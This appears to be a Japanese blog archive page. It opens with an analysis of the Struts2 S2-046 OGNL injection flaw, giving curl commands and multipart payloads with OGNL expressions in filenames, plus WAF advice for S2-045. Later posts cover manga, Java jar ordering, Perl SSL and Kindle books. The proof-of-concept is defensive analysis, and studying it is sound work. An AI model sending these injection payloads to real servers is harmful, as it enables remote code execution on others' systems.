Struts2の脆弱性(S2-046)
S2-045の話は既に書いたけども、S2-046は書いていなかったのでちょっと書く。
↓のやつ。
Struts2-046: A new vector - Hewlett Packard Enterprise Community
この脆弱性は、以下の3つの条件に合う場合、マルチパートのアイテムのファイル名に記述されたOGNL式が実行される。
- multipartのparserとしてJakartaStreamMultipartRequestを利用している場合
- Content-Lengthを制限値(デフォルトは2MB)より大きく設定する
- マルチパートのアイテムのContent-Dispositionヘッダのファイル名の部分にOGNL式を入れる
実際にこの脆弱性を確認してみる。
脆弱性のあるバージョンのstruts(以下では2.3.11を利用した)を含んだサンプルアプリstruts2-blankに対して、JakartaStreamMultipartRequestを利用するように設定し、HPの例をそのまま使ってcurlコマンドで実行する。
curl -H 'Content-Length: 10000000' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample.txt http://localhost:8080/struts2-blank/example/HelloWorld.action
sample.txtの中身は
------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
ヘッダ部分の改行コードは\r\nにする必要があるので注意。
これを実行すると、マルチパートリクエストをparseするため、JakaraStreamMultipartRequest.parseが実行される。
public void parse(HttpServletRequest request, String saveDir) throws IOException { try { setLocale(request); processUpload(request, saveDir); } catch (Exception e) { e.printStackTrace(); String errorMessage = buildErrorMessage(e, new Object[]{}); if (!errors.contains(errorMessage)) errors.add(errorMessage); } }
parseの中で以下のprocessUploadが呼ばれる。
private void processUpload(HttpServletRequest request, String saveDir) throws Exception { // Sanity check that the request is a multi-part/form-data request. if (ServletFileUpload.isMultipartContent(request)) { // Sanity check on request size. boolean requestSizePermitted = isRequestSizePermitted(request);
isRequestSizePermittedでContentLengthが制限値を超えていないかチェックされ、その真偽値がrequestSizePermittedに入る。
そして、各マルチパートのアイテムを1つずつ処理していく。
FileItemIterator i = servletFileUpload.getItemIterator(request); // Iterate the file items while (i.hasNext()) { try { FileItemStream itemStream = i.next(); // If the file item stream is a form field, delegate to the // field item stream handler if (itemStream.isFormField()) { processFileItemStreamAsFormField(itemStream); } // Delegate the file item stream for a file field to the // file item stream handler, but delegation is skipped // if the requestSizePermitted check failed based on the // complete content-size of the request. else { // prevent processing file field item if request size not allowed. // also warn user in the logs. if (!requestSizePermitted) { addFileSkippedError(itemStream.getName(), request); LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize); continue; } processFileItemStreamAsFileField(itemStream, saveDir); } ...
ファイルアップロードの場合はrequestSizePermittedがチェックされており、これがfalseの場合はaddFileSkippedErrorが呼ばれる。ここで、itemStream.getName()はCotent-Dispositionのファイル名を返すので、OGNL式を含むものになる。
addFileSkippedErrorは以下のようなメソッドで"Skipped file <ファイル名>; request size limit exceeded."という例外を作成し、buildErrorMessageを呼ぶ。
private void addFileSkippedError(String fileName, HttpServletRequest request) { String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded."; FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize); String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize}); if (!errors.contains(message)) errors.add(message); }
buildErrorMessageは以下のメソッドで、エラーメッセージを引数にLocalizedTextUtil.findTextを呼び出し、これがS2-045でもあったようにOGNL式を実行してしまう。
private String buildErrorMessage(Throwable e, Object[] args) { String errorKey = "struts.message.upload.error." + e.getClass().getSimpleName(); if (LOG.isDebugEnabled()) LOG.debug("Preparing error message for key: [#0]", errorKey); return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); }
アップロードファイルのサイズの制限を超える→「〇〇というファイルが制限値を超えた」という例外を作成(実は〇〇にOGNLが含まれている)→ローカライズメソッドを呼ぶ→OGNL実行という流れである。
さらに、S2-046には以下で指摘されている若干異なる攻撃経路がある。
GitHub - pwntester/S2-046-PoC: S2-046-PoC
こちらはContent-Lengthは2KBを超えている必要はないので以下のコマンドで良い。
$ curl -v -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample2.txt http://localhost:8080/struts2-blank/example/HelloWorld.action
sample2.txtは先程のsample.txtを少し修正する。
------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}<\0>b" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
ファイル名にOGNL式を入れるのは同じだが、\0のバイトを含むようにする。
今回はrequestSizePermittedがtrueになるので、processFileItemStreamAsFileFieldに進む。
private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) { // Skip file uploads that don't have a file name - meaning that no file was selected. if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) { LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName()); return; }
itemStream.getName()でアイテムのファイル名を取得しているのだが、その中でファイル名のチェックが実施される。
この部分はcommons-fileuploadのorg.apache.commons.fileupload.util.Streams.checkFileNameにある。
public static String checkFileName(String fileName) { if (fileName != null && fileName.indexOf('\u0000') != -1) { // pFileName.replace("\u0000", "\\0") final StringBuilder sb = new StringBuilder(); for (int i = 0; i < fileName.length(); i++) { char c = fileName.charAt(i); switch (c) { case 0: sb.append("\\0"); break; default: sb.append(c); break; } } throw new InvalidFileNameException(fileName, "Invalid file name: " + sb); } return fileName; }
このチェックは\0が含まれるかどうかをチェックし、"\\0"に置き換えて"invalid file name: <ファイル名>"というメッセージの例外を投げる。
この例外は、一番最初のJakartaStreamMultipartRequest.parseの中のtry catchでキャッチされ、buildErrorMessageに投げられ、LocalizedTextUtil.findTextに投げるのでファイル名に含まれるOGNLが実行される。
こっちは、Content-Dispositionのファイル名に\0を含む→commons-fileuploadが「ファイル名がおかしい: <ファイル名>」という例外を投げる→struts2が例外をキャッチして、ローカライズメソッドを呼ぶ→ファイル名に含まれるOGNLが実行されるという流れ。
どちらも、S2-045の修正ではローカライズする時に該当するキーが存在しない場合はデフォルトのメッセージをローカライズするようなコードになっているので、S2-045の修正を入れていれば大丈夫。しかし、WAFでの対応にしているとチェックするヘッダが異なるので、ルールを変えていかないといけない。
まあ、WAFに頼るよりかは最新版にした方が良いかな。
Struts2の脆弱性(S2-045, CVE-2017-5638)
だいぶまとめられているので私が書くことはあまりなさそうな。
piyokangoさんのまとめ
Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog
こちらに解析されている方がいて詳しい
Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記
ただ、
見ての通り、LocalizedTextUtilはもう使われていないのでセーフです。
はちょっとちがくて、修正後のコードのtextProviderの中でLocalizedTextUtilは呼ばれているけど、デフォルトのメッセージ「struts.messages.error.uploading」を取得していて、外部からの入力を利用していないのでセーフになる。
あと、WAFで防ぐ場合はContent-Typeヘッダに%{...}や${...}を含むものを弾けば良いかな。この部分がOGNL式として解釈されるので。PoCは%{...}のものが多いけども、コード的には両方必要。
(追記) Content-Typeについてだけ書いたが、S2-046の件もあるので、Content-DispositionやContent-Lengthをチェックする必要もある
ドキュメントには${...}しか書いていないようだけども。
LocalizedTextUtil (Struts 2 Core 2.5-BETA1 API)
If a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such.
2016年面白かった漫画
年明けちゃったけど
- 作者: 中島三千恒
- 出版社/メーカー: 新潮社
- 発売日: 2016/11/09
- メディア: コミック
- この商品を含むブログ (5件) を見る
主人公が自分の権限と利害関係の中でどのような選択をしていくかという部分が面白い。
- 作者: 葦原大介
- 出版社/メーカー: 集英社
- 発売日: 2016/12/02
- メディア: コミック
- この商品を含むブログ (7件) を見る
メガネ君が使えるようになってきて、頭脳戦が面白くなってきたのだけども、休載になってしまうとはなあ
- 作者: 久正人
- 出版社/メーカー: 新潮社
- 発売日: 2016/09/09
- メディア: コミック
- この商品を含むブログ (3件) を見る
この神様殺しちゃうのかという流れにちょっと驚いた
ヒナまつり 11<ヒナまつり> (ビームコミックス(ハルタ))
- 作者: 大武政夫
- 出版社/メーカー: KADOKAWA / エンターブレイン
- 発売日: 2016/09/15
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
安定して面白い。ちょっとマンネリ感はあるけど。
ナナマル サンバツ (12) (カドカワコミックス・エース)
- 作者: 杉基イクラ
- 出版社/メーカー: KADOKAWA/角川書店
- 発売日: 2016/08/02
- メディア: コミック
- この商品を含むブログ (4件) を見る
クイ研熱いし、単純に知識だけではなく、運だとか駆け引きもあって面白い
- 作者: 増田英二
- 出版社/メーカー: 秋田書店
- 発売日: 2016/12/08
- メディア: Kindle版
- この商品を含むブログを見る
委員長がいなくなったのは残念だが、そろそろ終了するのかな。
- 作者: タスクオーナ
- 出版社/メーカー: KADOKAWA / 角川書店
- 発売日: 2016/07/26
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
原作長編ではこのエピソードが一番すきかな。
里志と摩耶花が主人公な感じで。
- 作者: 九井諒子
- 出版社/メーカー: KADOKAWA/エンターブレイン
- 発売日: 2016/08/12
- メディア: コミック
- この商品を含むブログ (25件) を見る
- 作者: つくしあきひと
- 出版社/メーカー: 竹書房
- 発売日: 2016/04/30
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
えぐい。だが面白い。
ゴールデンカムイ 8 (ヤングジャンプコミックスDIGITAL)
- 作者: 野田サトル
- 出版社/メーカー: 集英社
- 発売日: 2016/09/16
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: こざき亜衣
- 出版社/メーカー: 小学館
- 発売日: 2016/09/30
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
1年生もキャラが立ってきて、薙刀漫画というよりかは部活漫画という面も強くなってきて良い。
連載終了
まおゆう魔王勇者 「この我のものとなれ、勇者よ」「断る!」(18)<まおゆう魔王勇者 「この我のものとなれ、勇者よ」「断る!」> (角川コミックス・エース)
- 作者: 石田あきら
- 出版社/メーカー: KADOKAWA / 角川書店
- 発売日: 2016/08/26
- メディア: Kindle版
- この商品を含むブログを見る
並行して連載されたものが多かったけども、最後までしっかりと描ききったな。
他のはちょっと尻切れになってしまっているので。ブームが過ぎちゃっているので仕方ないが。
- 作者: 水上悟志
- 出版社/メーカー: 少年画報社
- 発売日: 2016/06/10
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
- 作者: 水上悟志
- 出版社/メーカー: マッグガーデン
- 発売日: 2016/06/17
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
水上悟志作品が続けて終わった。
スピリットサークルの未来編が好きだったな
- 作者: 安部真弘
- 出版社/メーカー: 秋田書店
- 発売日: 2016/05/06
- メディア: コミック
- この商品を含むブログ (5件) を見る
この表紙はずるい
僕だけがいない街(8)<僕だけがいない街> (角川コミックス・エース)
- 作者: 三部けい
- 出版社/メーカー: KADOKAWA / 角川書店
- 発売日: 2016/04/27
- メディア: Kindle版
- この商品を含むブログ (103件) を見る
あの終わり方に納得がいかない人もいるっぽいけど、私は結構好きだな。
終わったと思ったらamazonに9巻がある。
- 作者: 武本糸会,上橋菜穂子
- 出版社/メーカー: 講談社
- 発売日: 2016/04/08
- メディア: コミック
- この商品を含むブログを見る
絵柄が非常に合っていた。
決してマネしないでください。(3)? (モーニングKC) (モーニング KC)
- 作者: 蛇蔵
- 出版社/メーカー: 講談社
- 発売日: 2016/02/23
- メディア: コミック
- この商品を含むブログ (2件) を見る
新連載
悪魔のメムメムちゃん 1 (ジャンプコミックスDIGITAL)
- 作者: 四谷啓太郎
- 出版社/メーカー: 集英社
- 発売日: 2016/11/04
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
ServletのWEB-INF/libのjarが読み込まれる順番
同じライブラリのjarがバージョン別でWEB-INFに置かれていた場合、どっちが読まれるのかなという話。
のPDFの「4.6. Resources」のところ、
The order in which the JAR files in the WEB-INF/lib directory are scanned is undefined.
とあるので、読み込まれる順序は未定義のようだ。tomcat8.5辺りの実装を見てもjava.io.File.listを使っているようなので、これまた順序は未定義。
LWP::UserAgentでHTTPS proxy越し通信(Cent OS 6)
LWP::UserAgentでHTTPSプロキシ越しに通信する - Qiita
の
## ** See https://metacpan.org/module/Net::HTTPS ## Force use of Net::SSL instead of IO::Socket::SSL $ENV{PERL_NET_HTTPS_SSL_SOCKET_CLASS} = 'Net::SSL';
の部分を実施せずにうまくいっていたのだが、最近はダメっぽい。
昔のコード(perl-libwww-perl-5.833-2.el6.x86_64のNet/HTTPS.pm)だと以下のようにNet::SSL(Crypt::SSLeayに含まれる)があるとIO::Socket::SSLがあってもNet::SSLを利用していたのに
# Figure out which SSL implementation to use if ($SSL_SOCKET_CLASS) { # somebody already set it } elsif ($Net::SSL::VERSION) { $SSL_SOCKET_CLASS = "Net::SSL"; } elsif ($IO::Socket::SSL::VERSION) { $SSL_SOCKET_CLASS = "IO::Socket::SSL"; # it was already loaded } else { ... }
今のコード(perl-libwww-perl-5.833-3.el6.x86_64のNet/HTTPS.pm)だと以下のようにIO::Socket::SSLが存在すると、Net::SSLが存在していても、IO::Socket::SSLを使ってしまうようだ。
if ($SSL_SOCKET_CLASS) { # somebody already set it } elsif ($SSL_SOCKET_CLASS = $ENV{PERL_NET_HTTPS_SSL_SOCKET_CLASS}) { unless ($SSL_SOCKET_CLASS =~ /^(IO::Socket::SSL|Net::SSL)\z/) { die "Bad socket class [$SSL_SOCKET_CLASS]"; } eval "require $SSL_SOCKET_CLASS"; die $@ if $@; } elsif ($IO::Socket::SSL::VERSION) { $SSL_SOCKET_CLASS = "IO::Socket::SSL"; # it was already loaded } elsif ($Net::SSL::VERSION) { $SSL_SOCKET_CLASS = "Net::SSL"; } else { ... }
Kindle Unlimitedで良さげな技術書
読んでないもの多いけど漁ってみた。独断と偏見で。
(2016/08/12 追記) 今確認するとほとんどUnlimitedではなくなっている(´・ω・`)
絵本シリーズ
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/01
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2013/05/20
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/01
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2013/05/20
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2013/05/20
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2013/05/15
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/06
- メディア: Kindle版
- この商品を含むブログを見る
Androidの絵本 スマートフォンアプリ開発を始める9つの扉
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/04/21
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/06
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/09/24
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/01
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/01
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/10
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/09/11
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2013/05/20
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/01
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/01
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/09/24
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/09/24
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/09/11
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/09/11
- メディア: Kindle版
- この商品を含むブログを見る
JavaScriptの絵本 ホームページ作りが楽しくなる9つの扉
- 作者: 株式会社アンク
- 出版社/メーカー: 翔泳社
- 発売日: 2014/10/01
- メディア: Kindle版
- この商品を含むブログを見る
教科書シリーズ
よくわかるDreamweaverの教科書【CS6対応版】 教科書シリーズ
- 作者: 鷹野雅弘,松田直樹
- 出版社/メーカー: マイナビ出版
- 発売日: 2012/08/31
- メディア: Kindle版
- この商品を含むブログを見る
よくわかるHTML5+CSS3の教科書【第2版】 教科書シリーズ
- 作者: 大藤幹
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/05/27
- メディア: Kindle版
- この商品を含むブログを見る
よくわかるPHPの教科書 【PHP5.5対応版】 教科書シリーズ
- 作者: たにぐちまこと
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/03/08
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: たにぐちまこと
- 出版社/メーカー: マイナビ出版
- 発売日: 2012/03/24
- メディア: Kindle版
- この商品を含むブログを見る
プログラミングコンテスト関係
プログラミングコンテストチャレンジブック [第2版] ?問題解決のアルゴリズム活用力とコーディングテクニックを鍛える?
- 作者: 秋葉拓哉,岩田陽一,北川宜稔
- 出版社/メーカー: マイナビ出版
- 発売日: 2012/01/28
- メディア: Kindle版
- この商品を含むブログを見る
世界で闘うプログラミング力を鍛える150問 トップIT企業のプログラマになるための本
- 作者: Gayle Laakmann McDowell
- 出版社/メーカー: マイナビ出版
- 発売日: 2012/11/13
- メディア: Kindle版
- この商品を含むブログ (3件) を見る
プログラミングコンテスト攻略のためのアルゴリズムとデータ構造
- 作者: 渡部有隆
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/01/30
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 渡部有隆
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/06/28
- メディア: Kindle版
- この商品を含むブログを見る
プログラミング入門
- 作者: 村山公保
- 出版社/メーカー: マイナビ出版
- 発売日: 2006/05/30
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 岩永信之
- 出版社/メーカー: マイナビ出版
- 発売日: 2011/06/29
- メディア: Kindle版
- この商品を含むブログを見る
Java
創るJava NetBeansでつくって学ぶJava GUI & Webアプリケーション [改訂第3版]
- 作者: きしだなおき
- 出版社/メーカー: マイナビ出版
- 発売日: 2009/09/12
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
Go言語
- 作者: 松尾愛賀
- 出版社/メーカー: 翔泳社
- 発売日: 2016/05/11
- メディア: Kindle版
- この商品を含むブログを見る
Python
- 作者: 大津真
- 出版社/メーカー: インプレス
- 発売日: 2016/03/18
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
Rails
- 作者: 黒田努
- 出版社/メーカー: インプレス
- 発売日: 2014/08/20
- メディア: Kindle版
- この商品を含むブログを見る
OpenCV
- 作者: 藤本雄一郎,青砥隆仁,浦西友樹,大倉史生,小枝正直,中島悠太,山本豪志朗
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/29
- メディア: Kindle版
- この商品を含むブログを見る
GPUプログラミング
CUDA C プロフェッショナル プログラミング impress top gear
- 作者: John Cheng,Max Grossman,Ty McKercher
- 出版社/メーカー: インプレス
- 発売日: 2015/09/24
- メディア: Kindle版
- この商品を含むブログを見る
サーバサイドJS
- 作者: 掌田津耶乃
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/03/25
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
フロントエンド
HTML5 スタンダード・デザインガイド?Webサイト制作者のためのビジュアル・リファレンス&セマンティクスによるコンテンツデザインガイド? [リフロー版]
- 作者: エ・ビスコム・テック・ラボ
- 出版社/メーカー: マイナビ出版
- 発売日: 2013/02/14
- メディア: Kindle版
- この商品を含むブログを見る
WebクリエイターのためのCreateJSスタイルブック:JavaScript+HTML5で作るアニメーション/インタラクティブコンテンツ[リフロー版] .
- 作者: 野中文雄
- 出版社/メーカー: マイナビ出版
- 発売日: 2013/06/25
- メディア: Kindle版
- この商品を含むブログを見る
ゲームを作りながら楽しく学べるHTML5+CSS+JavaScriptプログラミング (NextPublishing)
- 作者: 田中賢一郎
- 出版社/メーカー: インプレスR&D
- 発売日: 2013/10/11
- メディア: Kindle版
- この商品を含むブログを見る
HTML5+WebGLでつくる3Dウェブサイト [iOS8/Android対応] Vixar Cartoonによるアニメーションサイト制作術 Mynavi Advanced Library
- 作者: 大西武
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/05/01
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 斉藤祐也,水野隼登,谷拓樹,菅原のびすけ,林優一,古沢宏太
- 出版社/メーカー: マイナビ出版
- 発売日: 2016/01/28
- メディア: Kindle版
- この商品を含むブログを見る
HTML&CSS 標準デザイン講座【HTML5&CSS3対応】
- 作者: 草野あけみ
- 出版社/メーカー: 翔泳社
- 発売日: 2013/10/30
- メディア: Kindle版
- この商品を含むブログを見る
今、見直すCSS ネット時代の、これから始めるプログラミング (ネット時代の、これから始めるプログラミング(NextPublishing))
- 作者: 林拓也
- 出版社/メーカー: インプレスR&D
- 発売日: 2014/08/06
- メディア: Kindle版
- この商品を含むブログを見る
ゲームで学ぶJavaScript入門 HTML5&CSSも身につく!
- 作者: 田中賢一郎
- 出版社/メーカー: インプレス
- 発売日: 2015/12/11
- メディア: Kindle版
- この商品を含むブログを見る
Android開発
Android StudioではじめるAndroidアプリ開発の教科書 (教科書シリーズ)
- 作者: 松岡謙治
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/07/29
- メディア: Kindle版
- この商品を含むブログを見る
Android実践プログラミング 現場で生まれた設計パターン
- 作者: TechBooster
- 出版社/メーカー: 翔泳社
- 発売日: 2016/03/17
- メディア: Kindle版
- この商品を含むブログを見る
ゲーム開発
- 作者: 加藤潔
- 出版社/メーカー: 翔泳社
- 発売日: 2013/12/06
- メディア: Kindle版
- この商品を含むブログを見る
Kinectv2楽しいプログラミング入門 (NextPublishing)
- 作者: 大田昌幸,江田周平
- 出版社/メーカー: インプレスR&D
- 発売日: 2015/09/11
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 岩井雅幸
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/01
- メディア: Kindle版
- この商品を含むブログを見る
JavaScriptでインタラクティブ3Dコンテンツを作ろう―Kinect+jThree+Milkcocoaを使って東北ずん子と踊る (NextPublishing)
- 作者: 大田昌幸,落合渉悟,菅原のびすけ,中佳博,山本允葵
- 出版社/メーカー: インプレスR&D
- 発売日: 2015/09/11
- メディア: Kindle版
- この商品を含むブログを見る
Game Programming Patterns ソフトウェア開発の問題解決メニュー impress top gear
- 作者: Robert Nystrom
- 出版社/メーカー: インプレス
- 発売日: 2015/09/24
- メディア: Kindle版
- この商品を含むブログを見る
Raspberry Pi
- 作者: 林和孝
- 出版社/メーカー: ラトルズ
- 発売日: 2013/08/01
- メディア: Kindle版
- この商品を含むブログを見る
Esoteric Language
Rubyで作る奇妙なプログラミング言語 ?ヘンな言語のつくりかた?
- 作者: 原悠
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/01/16
- メディア: Kindle版
- この商品を含むブログを見る
ショートコーディング
- 作者: Ozy
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/03/11
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
機械語
31バイトでつくるアセンブラプログラミング ?アセンブラ短歌の世界?
- 作者: 坂井弘亮,愛甲健二,松田和樹,坂井丈泰,竹迫良範
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/01/16
- メディア: Kindle版
- この商品を含むブログ (2件) を見る
- 作者: 渡辺徹
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/03/11
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 坂井弘亮,坂井丈泰,愛甲健二,竹迫良範,松田和樹
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/04/23
- メディア: Kindle版
- この商品を含むブログを見る
プロジェクト管理
スクラム現場ガイド スクラムを始めてみたけどうまくいかない時に読む本(固定レイアウト版)
- 作者: Mitch Lacey
- 出版社/メーカー: マイナビ出版
- 発売日: 2016/02/27
- メディア: Kindle版
- この商品を含むブログを見る
アプリ開発チームのためのプロジェクトマネジメント チーム駆動開発でいこう!
- 作者: 稲山文孝
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/04/28
- メディア: Kindle版
- この商品を含むブログを見る
Git
- 作者: 大杉充,外村和仁
- 出版社/メーカー: マイナビ出版
- 発売日: 2014/06/28
- メディア: Kindle版
- この商品を含むブログを見る
エンジニアのためのGitの教科書[上級編] Git内部の仕組みを理解する
- 作者: 河村聖悟
- 出版社/メーカー: 翔泳社
- 発売日: 2016/01/19
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
インフラ/Docker
DevOpsを支えるHashiCorpツール大全 Think IT Books
- 作者: 前佛雅人
- 出版社/メーカー: インプレス
- 発売日: 2015/10/22
- メディア: Kindle版
- この商品を含むブログを見る
Dockerコンテナ実践検証 (Think IT Books)
- 作者: 佐藤司,冨永善視,森元敏雄
- 出版社/メーカー: インプレス
- 発売日: 2015/07/24
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 古賀政純
- 出版社/メーカー: インプレス
- 発売日: 2015/12/17
- メディア: Kindle版
- この商品を含むブログを見る
データベース
MySQL Clusterによる高可用システム運用ガイド ThinkIT Books
- 作者: 山?由章
- 出版社/メーカー: インプレス
- 発売日: 2016/03/31
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: ミック
- 出版社/メーカー: 翔泳社
- 発売日: 2013/08/28
- メディア: Kindle版
- この商品を含むブログ (4件) を見る
アルゴリズム
- 作者: 伊藤静香
- 出版社/メーカー: インプレス
- 発売日: 2016/03/16
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
セキュリティ
セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方
- 作者: 碓井利宣,竹迫良範,廣田一貴,保要隆明,前田優人,美濃圭佑,三村聡志,八木橋優
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/30
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 小島拓也,中嶋亜美,吉原恵美子,中塚淳
- 発売日: 2014/11/10
- メディア: Kindle版
- この商品を含むブログを見る
AI
- 作者: 森川幸人
- 出版社/メーカー: 森川幸人
- 発売日: 2014/01/05
- メディア: Kindle版
- この商品を含むブログ (11件) を見る
位置情報技術
- 作者: 神武直彦,関治之,中島円,古橋大地,片岡義明
- 出版社/メーカー: インプレスR&D
- 発売日: 2014/03/28
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
OS
- 作者: 川合秀実
- 出版社/メーカー: マイナビ出版
- 発売日: 2006/03/01
- メディア: Kindle版
- この商品を含むブログを見る
Excel
- 作者: 奥谷隆一
- 出版社/メーカー: インプレス
- 発売日: 2016/03/04
- メディア: Kindle版
- この商品を含むブログを見る
「あるある」で学ぶ 忙しい人のためのExcel仕事術 (できるビジネスシリーズ)
- 作者: 植山周志,できるシリーズ編集部
- 出版社/メーカー: インプレス
- 発売日: 2015/04/09
- メディア: Kindle版
- この商品を含むブログを見る
- 作者: 奥谷隆一
- 出版社/メーカー: インプレス
- 発売日: 2015/03/13
- メディア: Kindle版
- この商品を含むブログを見る
その他
ゲーム界のトップに立った天才プログラマー 岩田聡の原点: 高校同期生26人の証言
- 作者: 岩田聡の記録を残す会
- 出版社/メーカー: スタジオスパーク
- 発売日: 2016/07/06
- メディア: Kindle版
- この商品を含むブログ (1件) を見る
- 作者: ケン・シーガル
- 出版社/メーカー: NHK出版
- 発売日: 2012/07/31
- メディア: Kindle版
- 購入: 4人 クリック: 5回
- この商品を含むブログを見る